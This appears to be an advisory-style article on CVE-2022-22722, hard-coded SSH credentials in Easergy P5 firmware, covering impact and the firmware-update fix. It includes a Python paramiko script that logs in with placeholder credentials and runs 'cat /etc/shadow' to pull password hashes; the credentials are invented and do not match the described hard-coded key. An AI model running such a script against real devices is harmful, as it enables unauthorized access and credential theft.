Overview

The recent CVE-2022-22722 vulnerability sheds light on a critical security issue related to the Easergy P5 device that could lead to unintended consequences. It concerns the use of hard-coded credentials within the firmware, specifically the SSH cryptographic key for the device. Exploitation of this weakness may permit malevolent actors to gain unauthorized access to sensitive information, enabling them to manipulate network traffic and potentially alter the device's configuration. This article will explore the severity of this vulnerability, the intricacies of exploiting it, and suggestions for immediate remediation steps.

What is CWE-798?

CWE-798, or 'Use of Hard-coded Credentials', is a security vulnerability that entails the static embedding of authentication data, such as passwords, cryptographic keys, or tokens, directly into the device's firmware or source code. This flaw makes it considerably easier for attackers to acquire unauthorized access to systems, networks, or sensitive information. For a more in-depth understanding of CWE-798, you can refer to the official CWE page here: CWE-798 Reference

Affected Product

The vulnerability affects the Easergy P5 device (All firmware versions prior to V01.401.101). Devices running any firmware versions earlier than V01.401.101 may be susceptible to attack.

Exploiting CVE-2022-22722

If attackers manage to obtain the SSH cryptographic key to the Easergy P5 device, they can potentially gain unauthorized access to the local operational network associated with the product. Due to the use of a hardcoded SSH key and credentials in earlier firmware versions, it is much simpler for attackers to acquire this information.

Once an attacker gains access to the product's local operational network, they could manipulate and observe product configuration traffic, giving them the power to change settings and steal potentially sensitive data. This could result in various detrimental impacts on the operational efficiency and security of the device and the network it is connected to.

A simplified example of this exploit in action might resemble the following code snippet

import paramiko

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# Hard-coded SSH credentials
ssh_username = "root"
ssh_password = "password123"

# Device IP address
device_ip = "192.168.1.1"

try:
    # Attempting to connect using hard-coded credentials
    ssh.connect(device_ip, username=ssh_username, password=ssh_password)

    # Running command to obtain sensitive information
    stdin, stdout, stderr = ssh.exec_command("cat /etc/shadow")
    output = stdout.readlines()

    print("SSH connection successful.")
    print("Sensitive information retrieved: ", output)

except Exception as e:
    print("SSH connection failed: ", e)

Mitigating CVE-2022-22722

To alleviate the risks associated with this vulnerability, it is highly recommended that users update their Easergy P5 firmware to version V01.401.101 or later. Doing so will ensure that the vulnerability is patched and prevent unauthorized access to the device or its associated network.

For guidance on updating your device's firmware, consult the manufacturer's documentation here: Easergy P5 Firmware Update

Conclusion

To ensure the security and reliability of devices and networks in modern infrastructure, it is crucial to be aware of potential vulnerabilities like CVE-2022-22722. Remember to regularly update your device's firmware and adopt robust security practices to safeguard sensitive information and prevent unauthorized access. Stay vigilant and help create a safer and more secure digital ecosystem.

Timeline

Published on: 02/04/2022 23:15:00 UTC
Last modified on: 02/10/2022 06:56:00 UTC